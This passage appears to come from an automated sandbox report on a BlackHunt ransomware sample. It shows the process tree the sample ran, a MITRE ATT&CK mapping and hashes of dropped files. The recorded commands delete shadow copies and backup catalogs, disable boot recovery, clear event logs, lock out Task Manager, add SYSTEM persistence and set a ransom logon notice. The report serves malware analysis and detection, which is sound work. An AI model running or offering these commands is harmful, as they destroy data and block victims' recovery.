    3⤵
    PID:5280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:6084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe" /F
  2⤵
  PID:1108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:6132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4840
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1668
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3404
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1252
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5056
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5156
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3048
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3396
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:792
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5216
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:448
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3096
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3856
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4848
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1328
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2456
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1888
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4680
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5412
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2288
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5904
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:640
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:5552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:5824
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1116
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3640
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:2464
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:6128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe"
  2⤵
  PID:5520
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4532

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3688

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3272

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:848

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6120

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
cd60e3b9ab6109f6e299be14d0fcec70

SHA1
83ccf680993b97069fbbf9ff1a2b046eaeb4cbec

SHA256
3bd5d00dcac886283520f15502cc56ff0a9ee703fef983dcae0af0dd82807bf4

SHA512
947132a05ad8d1129cc7ac9f1d324ff3929eb557b5397c3986734c1bcffe80640b702f0674c22a4d98ee28b962e84a158a3acb603efb207d2ce702deb278e556

Download Submit
C:\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
4ca3ace88f0f745cf228c1ee47aeea1c

SHA1
86a4c23bda6e547b46ff01f787f9a2d0d2c8d59e

SHA256
050c3c9480eca6dcd63632d8e3f6d22c01fd6e8243ed8aed7d99439d5e8138a5

SHA512
518a1effa7aa41da7642b9ca69fc821c277af436f8b478eb6ace51da31ed334009ffe955d2aa704e3b7a806ae3b4302dd5a80f8184ab5a9acb8041ef4e7f7439

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
3f24fdc6782185460b38e533085b4fc5

SHA1
c14627865082c03acd57210aa6c2bed99b04b9fd

SHA256
c70d2050188013cb0e4b8d0df364974ca62a0f2661cfb5e649dd4f014ee71eba

SHA512
af62821968fd0eaca6f196a64ba582cf38309fb7ca6a48856dade624630380ee7052eaeb02c996a3b2480aee49954a4931c959d599612acf585d22542b209a1d

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads